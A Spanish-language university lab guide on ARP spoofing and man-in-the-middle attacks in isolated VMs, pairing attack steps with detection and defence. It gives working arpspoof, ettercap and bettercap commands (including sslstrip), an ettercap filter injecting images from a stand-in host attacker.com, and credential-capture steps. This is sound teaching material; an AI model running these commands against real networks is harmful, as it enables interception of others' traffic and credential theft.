Saltar al contenido principal

Lab 5.3: ARP Spoofing y Man-in-the-Middle

Objetivos de Aprendizaje​

Al final de este laboratorio, usted será capaz de:

  • Comprender el protocolo ARP y sus vulnerabilidades
  • Realizar un ataque de ARP spoofing entre dos máquinas
  • Posicionarse como Man-in-the-Middle en una red
  • Interceptar y analizar el tráfico de red en tiempo real
  • Capturar credenciales transmitidas en texto claro
  • Detectar un ataque de ARP spoofing activo
  • Implementar protecciones contra ARP spoofing
  • Comprender la importancia del cifrado

Duración Estimada​

40 minutos

Prerrequisitos​

  • 3 VMs: Atacante (Kali), Víctima (Windows), Router/Gateway (Windows o Linux)
  • Red interna VirtualBox
  • Wireshark instalado
  • Comprensión del modelo OSI y TCP/IP
  • Labs 5.1 y 5.2 completados

Contexto Profesional​

Los ataques Man-in-the-Middle (MitM) mediante ARP spoofing permiten a un atacante en la misma red local:

  • Interceptar todas las comunicaciones
  • Robar credenciales (HTTP, FTP, Telnet)
  • Modificar el tráfico en tránsito
  • Redirigir a sitios maliciosos
  • Realizar phishing dirigido

Utilizado en:

  • Pruebas de penetración interna
  • Demostraciones de seguridad
  • Ataques en redes WiFi públicas
  • Espionaje industrial
  • Robo de sesiones

ESTE LABORATORIO ENSEÑA UN ATAQUE ACTIVO EN RED

El ARP spoofing es un ataque que intercepta las comunicaciones de terceros.

SOLO AUTORIZADO:

  • En su red de laboratorio aislada (VMs)
  • En sistemas de prueba de su propiedad
  • En el marco de pruebas autorizadas por contrato escrito
  • Con consentimiento explícito de todas las partes

ESTRICTAMENTE PROHIBIDO E ILEGAL:

  • En redes WiFi públicas (cafés, aeropuertos, bibliotecas)
  • En redes empresariales sin autorización
  • Para interceptar comunicaciones de terceros
  • Para robo de credenciales o espionaje

CONSECUENCIAS EXTREMADAMENTE GRAVES:

  • Interceptar comunicaciones = Delito grave (Código Penal art. 184)
  • Comparable a escuchas electrónicas
  • Prisión hasta 5 años
  • Multas elevadas
  • Antecedentes penales permanentes

CONFIGURACIÓN OBLIGATORIA:

  • Red de VMs en modo INTERNO únicamente
  • Sin acceso a Internet
  • Entorno completamente aislado

Parte 1: Comprender ARP y sus Vulnerabilidades​

Paso 1.1: Protocolo ARP (Address Resolution Protocol)​

Rol: Convertir dirección IP en dirección MAC

Ejemplo:

PC quiere comunicarse con 192.168.100.20
PC solo conoce la IP, no la dirección MAC
PC hace broadcast: "¿Quién tiene la IP 192.168.100.20?"
192.168.100.20 responde: "¡Soy yo! Mi MAC es AA:BB:CC:DD:EE:FF"
PC ahora puede enviar paquetes Ethernet

Tabla ARP:

arp -a

Resultado:

Interface: 192.168.100.10
Internet Address Physical Address Type
192.168.100.1 00-11-22-33-44-55 dynamic
192.168.100.20 AA-BB-CC-DD-EE-FF dynamic

Problema: ¡ARP NO tiene autenticación!

  • Cualquiera puede responder
  • No hay verificación de identidad
  • Confianza ciega

Paso 1.2: Vulnerabilidad de ARP​

Ataque ARP Spoofing (ARP Poisoning):

  1. El atacante envía respuestas ARP falsas
  2. La víctima cree que la IP del router = MAC del atacante
  3. El router cree que la IP de la víctima = MAC del atacante
  4. ¡Todo el tráfico pasa por el atacante!

Esquema:

ANTES:
Víctima (192.168.100.20) <---> Router (192.168.100.1)

DESPUÉS DE ARP Spoofing:
Víctima (192.168.100.20) <---> Atacante (192.168.100.10) <---> Router (192.168.100.1)
↑
¡Man-in-the-Middle!

Preguntas:

  1. ¿Por qué ARP es vulnerable por diseño?
  2. ¿En qué tipo de red funciona este ataque? (Local/Internet)

Parte 2: Configuración del Laboratorio​

Paso 2.1: Arquitectura del Laboratorio​

Se requieren 3 VMs:

VM1 - Atacante (Kali Linux):
IP: 192.168.100.10
MAC: [Anótela]
Rol: Realizar el ARP spoofing

VM2 - Víctima (Windows):
IP: 192.168.100.20
MAC: [Anótela]
Rol: Objetivo del ataque

VM3 - Gateway/Router (Windows o Linux):
IP: 192.168.100.1
MAC: [Anótela]
Rol: Puerta de enlace de red (simulada)

Red: Internal Network "MitmLab"

En cada VM, verifique:

# Linux
ip addr
ip route

# Windows
ipconfig
route print

Paso 2.2: Anotar las Direcciones MAC​

En cada VM:

Linux:

ip addr show
# Busque "link/ether"

Windows:

ipconfig /all
# Busque "Dirección física"

Anote:

VM1 (Atacante):  IP: 192.168.100.10  MAC: 08:00:27:XX:XX:XX
VM2 (Víctima): IP: 192.168.100.20 MAC: 08:00:27:YY:YY:YY
VM3 (Gateway): IP: 192.168.100.1 MAC: 08:00:27:ZZ:ZZ:ZZ

Paso 2.3: Verificar la Conectividad Inicial​

En VM2 (Víctima), verifique la tabla ARP:

arp -a

Debería ver:

192.168.100.1   00-11-22-33-44-55  (MAC del gateway real)
192.168.100.10 08-00-27-XX-XX-XX (MAC del atacante)

Haga ping al gateway:

ping 192.168.100.1

Funciona normalmente.

Preguntas: 3. ¿Cuál es la dirección MAC actual del gateway en la tabla ARP de la víctima? 4. ¿Cuántas entradas ARP hay presentes?


Parte 3: Ataque ARP Spoofing​

Paso 3.1: Activación del Forwarding IP​

En VM1 (Atacante), ANTES de lanzar el ataque:

Linux:

echo 1 > /proc/sys/net/ipv4/ip_forward

O

sysctl -w net.ipv4.ip_forward=1

Verificación:

cat /proc/sys/net/ipv4/ip_forward

Debe mostrar: 1

IMPORTANTE: Sin IP forwarding, el tráfico se bloquea (DoS en vez de MitM)!

Paso 3.2: Lanzamiento del Ataque con arpspoof​

arpspoof (herramienta clásica):

Terminal 1 - Envenenar a la Víctima:

sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1

Comando:

  • -i eth0 - Interfaz de red
  • -t 192.168.100.20 - Objetivo (víctima)
  • 192.168.100.1 - IP a suplantar (gateway)

Resultado:

8:0:27:xx:xx:xx 8:0:27:yy:yy:yy 0806 42: arp reply 192.168.100.1 is-at 8:0:27:xx:xx:xx

Repite continuamente: "¡El gateway (192.168.100.1) tiene MI dirección MAC!"

Terminal 2 - Envenenar el Gateway:

sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20

Le dice al gateway: "¡La víctima (192.168.100.20) tiene MI dirección MAC!"

AHORA: ¡Ataque MitM activo!

Paso 3.3: Verificación del Ataque​

En VM2 (Víctima), verifique la tabla ARP:

arp -a

ANTES del ataque:

192.168.100.1   00-11-22-33-44-55  (MAC del gateway real)

DESPUÉS del ataque:

192.168.100.1   08-00-27-XX-XX-XX  (¡MAC del ATACANTE!)

¡La tabla ARP ha sido envenenada!

¡La víctima cree que el gateway = atacante!

Pruebe:

ping 192.168.100.1

El ping funciona (gracias al IP forwarding), pero pasa por el atacante.

Preguntas: 5. ¿Ha cambiado la dirección MAC del gateway en la tabla ARP de la víctima? 6. ¿El tráfico pasa ahora por el atacante?


Parte 4: Intercepción de Tráfico​

Paso 4.1: Captura con Wireshark​

En VM1 (Atacante), inicie Wireshark:

sudo wireshark &
  1. Seleccione la interfaz de red (eth0)
  2. Inicie la captura
  3. ¡TODO el tráfico de la víctima es capturado!

En VM2 (Víctima), genere tráfico:

ping google.com

En Wireshark (VM1):

  • Filtre: icmp
  • ¡Usted ve los pings de la VÍCTIMA!

¡Está interceptando el tráfico de otra máquina!

Paso 4.2: Captura de Credenciales HTTP​

En VM2 (Víctima), visite un sitio HTTP (no HTTPS):

Sitios de prueba legales:

En VM1 (Wireshark), filtre:

http

Usted ve:

  • Todas las peticiones HTTP
  • Headers completos
  • User-Agent
  • Cookies
  • Credenciales en texto claro si hay login

Follow HTTP Stream:

  1. Clic derecho en paquete HTTP
  2. Follow → HTTP Stream
  3. ¡Conversación completa visible!

Si el sitio tiene login HTTP:

POST /login HTTP/1.1
Host: example.com

username=admin&password=SecretPassword123

¡Contraseña CAPTURADA en texto claro!

Paso 4.3: Diferencia HTTP vs HTTPS​

En VM2, visite ahora:

https://google.com

En Wireshark:

  • Filtre: tls o ssl
  • Usted ve la conexión cifrada
  • ¡Imposible ver el contenido!

Datos cifrados:

Content Type: Application Data
Encrypted Application Data: <datos ilegibles>

Comparación:

  • HTTP: TODO visible (URL, headers, contraseñas, contenido)
  • HTTPS: Solo IP de destino visible, contenido cifrado

Preguntas: 7. ¿Logró capturar tráfico HTTP de la víctima? 8. ¿Puede ver el contenido de las peticiones HTTPS?


Parte 5: Herramientas Avanzadas de MitM​

Paso 5.1: Ettercap (Completo y Gráfico)​

Ettercap: Herramienta MitM con GUI y funcionalidades avanzadas

Lanzamiento:

sudo ettercap -G

Configuración:

  1. Sniff → Unified sniffing
  2. Seleccione la interfaz (eth0)
  3. Hosts → Scan for hosts
  4. Hosts → Hosts list
  5. Seleccione Víctima → Add to Target 1
  6. Seleccione Gateway → Add to Target 2
  7. MitM → ARP poisoning
  8. Marque "Sniff remote connections"
  9. Start → Start sniffing

¡BOOM! Ataque MitM activo con GUI!

Funcionalidades:

  • Detección automática de hosts
  • ARP poisoning con un clic
  • Captura automática de contraseñas
  • Filtros para modificar el tráfico
  • Logs detallados

Paso 5.2: Filtros Ettercap (Modificación de Tráfico)​

¡Ettercap puede MODIFICAR el tráfico en tránsito!

Ejemplo de filtro: Reemplazar imágenes por otras imágenes

Cree replace.filter:

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
}
}

if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://attacker.com/fake.jpg\" alt=\"");
}

Compilación:

etterfilter replace.filter -o replace.ef

Uso en Ettercap:

Filters → Load a filter → replace.ef

Resultado: ¡Todas las imágenes en sitios HTTP son reemplazadas!

Paso 5.3: Bettercap (Moderno)​

Herramienta moderna y potente:

sudo bettercap -iface eth0

Comandos interactivos:

# Descubrimiento de red
net.probe on
net.show

# ARP spoofing
set arp.spoof.targets 192.168.100.20
arp.spoof on

# Captura de credenciales
set net.sniff.verbose true
net.sniff on

# HTTP(S) stripping
set http.proxy.sslstrip true
http.proxy on

Interfaz web:

sudo bettercap -iface eth0 -caplet http-ui

Acceso: http://127.0.0.1:80 (¡interfaz web completa!)

Preguntas: 9. ¿Qué herramienta prefiere (arpspoof, ettercap, bettercap)? 10. ¿Bettercap puede degradar HTTPS a HTTP?


Parte 6: Detección de ARP Spoofing​

Paso 6.1: Detección Manual​

En una máquina, monitoree la tabla ARP:

PowerShell:

while ($true) {
Clear-Host
Write-Host "=== ARP TABLE MONITORING ===" -ForegroundColor Cyan
arp -a
Start-Sleep -Seconds 2
}

Observación:

  • Si una IP cambia de MAC frecuentemente: ¡SOSPECHOSO!
  • Si dos IPs tienen la misma MAC: ¡ARP SPOOFING!

Ejemplo de anomalía:

192.168.100.1   08-00-27-AA-AA-AA
192.168.100.10 08-00-27-AA-AA-AA <- MISMA MAC = ¡ATAQUE!

Paso 6.2: Detección con Herramientas​

arpwatch (Linux):

sudo apt install arpwatch
sudo arpwatch -i eth0

Logs en: /var/log/arpwatch.log

Alerta sobre:

  • Nuevos hosts
  • Cambios de MAC
  • Flip-flop (la MAC cambia y luego vuelve)

XArp (Windows):

  • Herramienta GUI para monitoreo ARP
  • Alertas en tiempo real
  • Gratuito

Script PowerShell de detección:

$baseline = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$baseline[$matches[1]] = $matches[2]
}
}

while ($true) {
Start-Sleep -Seconds 5

$current = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$current[$matches[1]] = $matches[2]
}
}

# Comparar
foreach ($ip in $baseline.Keys) {
if ($current[$ip] -and $current[$ip] -ne $baseline[$ip]) {
Write-Host "ALERT: IP $ip MAC changed!" -ForegroundColor Red
Write-Host " Was: $($baseline[$ip])"
Write-Host " Now: $($current[$ip])"
}
}

$baseline = $current.Clone()
}

Paso 6.3: Detección en Red​

Con Nmap:

nmap --script=arp-scan 192.168.100.0/24

Detecta:

  • Duplicaciones de direcciones MAC
  • Respuestas ARP sospechosas

Preguntas: 11. ¿Su script de detección alerta durante el ataque? 12. ¿Cuánto tiempo tarda en detectar el ataque?


Parte 7: Defensas contra ARP Spoofing​

Paso 7.1: ARP Estático​

Definir entradas ARP estáticas (no modificables):

arp -s 192.168.100.1 00-11-22-33-44-55

Verificación:

arp -a

Tipo: static en vez de dynamic

Ventaja: ¡Inmune a ARP spoofing!

Desventaja: Configuración manual, mantenimiento difícil

Paso 7.2: Port Security (Switch)​

En un switch gestionado:

Configurar port security para:

  • Limitar el número de MACs por puerto
  • Asociar MAC a puerto específico
  • Apagar el puerto si hay violación

Ejemplo de configuración Cisco:

interface FastEthernet0/1
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown
switchport port-security mac-address sticky

Resultado: Solo una MAC permitida por puerto, cambio = shutdown.

Paso 7.3: Soluciones de Software​

Windows:

  • XArp (monitoreo y alertas)
  • ArpON (daemon de protección)

Linux:

  • arpwatch (monitoreo)
  • ArpON (protección activa)

Firewall:

  • Reglas para bloquear tráfico anómalo
  • Inspección ARP

Segmentación:

  • VLANs para aislar zonas sensibles
  • Limitar el alcance de los ataques MitM

Preguntas: 13. ¿Qué método de protección es el más eficaz? 14. ¿Es realista configurar ARP estático en una red grande?


Parte 8: Escenarios Reales​

Paso 8.1: Ataque en WiFi Público​

Escenario típico:

  1. Café con WiFi público
  2. El atacante se conecta a la misma red
  3. Lanza ARP spoofing
  4. Intercepta TODO el tráfico de los clientes
  5. Captura credenciales, cookies, datos

Datos capturados:

  • Logins en sitios HTTP
  • Cookies de sesión
  • Emails (si POP3/IMAP no cifrado)
  • Credenciales FTP
  • Búsquedas web

Protección del usuario:

  • VPN en WiFi público (¡OBLIGATORIO!)
  • Solo HTTPS
  • No hacer banca/email en WiFi público

Paso 8.2: Red Empresarial​

Atacante interno o mediante phishing:

  1. Compromiso inicial de un equipo
  2. ARP spoofing en el segmento de red
  3. Intercepción de tráfico
  4. Captura de credenciales de dominio
  5. Movimiento lateral con credenciales robadas
  6. Compromiso total de la red

Tiempo: ¡Puede tomar solo unas horas!

Paso 8.3: Ataque Combinado​

ARP Spoofing + DNS Spoofing:

  1. MitM activo mediante ARP
  2. Modificar respuestas DNS
  3. Redirigir a sitios falsos (phishing)
  4. Robo de credenciales incluso en HTTPS (con certificado autofirmado + advertencia ignorada)

Con Ettercap:

  • DNS spoofing integrado
  • Modificación de tráfico
  • SSL stripping (degradar HTTPS → HTTP)

Preguntas: 15. ¿Por qué las redes WiFi públicas son particularmente peligrosas? 16. ¿Cómo protege un VPN contra ARP spoofing?


Entregables​

A entregar:

  1. Informe de ataque MitM (Word/PDF, 4-5 páginas):

    • Respuestas a las 16 preguntas
    • Descripción completa de la arquitectura del laboratorio
    • Metodología del ataque paso a paso
    • Análisis del tráfico capturado
    • Tiempo requerido para el ataque
  2. Capturas de pantalla (mínimo 8):

    • Tabla ARP ANTES del ataque (víctima)
    • Tabla ARP DESPUÉS del ataque (víctima modificada)
    • arpspoof en acción (terminal)
    • Wireshark capturando tráfico de la víctima
    • HTTP stream con credenciales visibles
    • HTTPS stream (cifrado)
    • Interfaz de Ettercap
    • Script de detección alertando
  3. Archivos de captura:

    • Wireshark .pcapng con tráfico interceptado
    • Logs de ettercap o bettercap
  4. Documentación de defensa (2 páginas):

    • Medidas de detección recomendadas
    • Soluciones de protección por capa (red, host, aplicación)
    • Política de seguridad WiFi

Criterios de Evaluación​

CriterioPuntos
Ataque ARP spoofing exitoso30%
Intercepción y análisis de tráfico25%
Detección de ataque activo20%
Comprensión de las defensas15%
Calidad de la documentación y capturas10%

Comandos de Referencia Rápida​

Preparación​

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

ARP Spoofing​

# arpspoof
sudo arpspoof -i eth0 -t VICTIMA GATEWAY
sudo arpspoof -i eth0 -t GATEWAY VICTIMA

# ettercap
sudo ettercap -T -M arp:remote /VICTIMA// /GATEWAY//
sudo ettercap -G # GUI

# bettercap
sudo bettercap -iface eth0
> set arp.spoof.targets VICTIMA
> arp.spoof on

Detección​

arp -a                    # Verificar tabla ARP
arpwatch -i eth0          # Monitoreo
nmap --script arp-scan NETWORK

Limpieza​

# Detener arpspoof: Ctrl+C
# En víctima, vaciar caché ARP:
arp -d # Windows
sudo ip -s -s neigh flush all # Linux

Solución de Problemas​

Problema: La víctima pierde conectividad durante el ataque​

Solución: IP forwarding no está activado en el atacante. Verifique:

cat /proc/sys/net/ipv4/ip_forward

Debe ser 1.

Problema: No se captura ningún tráfico​

Soluciones:

  • Verifique que ambos arpspoof estén en ejecución (víctima Y gateway)
  • Verifique que Wireshark escuche en la interfaz correcta
  • Genere tráfico desde la víctima

Problema: La tabla ARP no cambia​

Solución:

  • ¿arpspoof realmente está corriendo? Verifique la salida
  • El firewall puede bloquear ARP
  • Algunos switches tienen protección ARP (Port Security)

Conclusión​

Este laboratorio le ha enseñado:

  • Protocolo ARP y sus vulnerabilidades fundamentales
  • Realización de ataque Man-in-the-Middle mediante ARP spoofing
  • Intercepción de tráfico de red en tiempo real
  • Captura de credenciales transmitidas en texto claro
  • Detección de ataques ARP activos
  • Medidas de protección multicapa

Lecciones clave:

  1. ARP no tiene seguridad por diseño (confianza ciega)
  2. Un atacante en red local puede interceptar TODO el tráfico no cifrado
  3. HTTP es completamente vulnerable a MitM
  4. HTTPS protege contra la interceptación (importancia del cifrado)
  5. WiFi público = Peligro extremo sin VPN
  6. Detección posible pero protección compleja

Conciencia:

  • Nunca más usar HTTP para datos sensibles
  • VPN obligatorio en WiFi público
  • Cifrado = Única protección real
  • Red local ≠ Red segura

Síntesis MÓDULO 5:

Ahora domina el reconocimiento de red completo:

  • Lab 5.1: Nmap (cartografía de red, detección de vulnerabilidades)
  • Lab 5.2: Enumeración DNS (descubrimiento de infraestructura)
  • Lab 5.3: ARP spoofing (intercepción activa)

¡Combinadas, estas técnicas permiten un reconocimiento y compromiso de red completo!


Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 5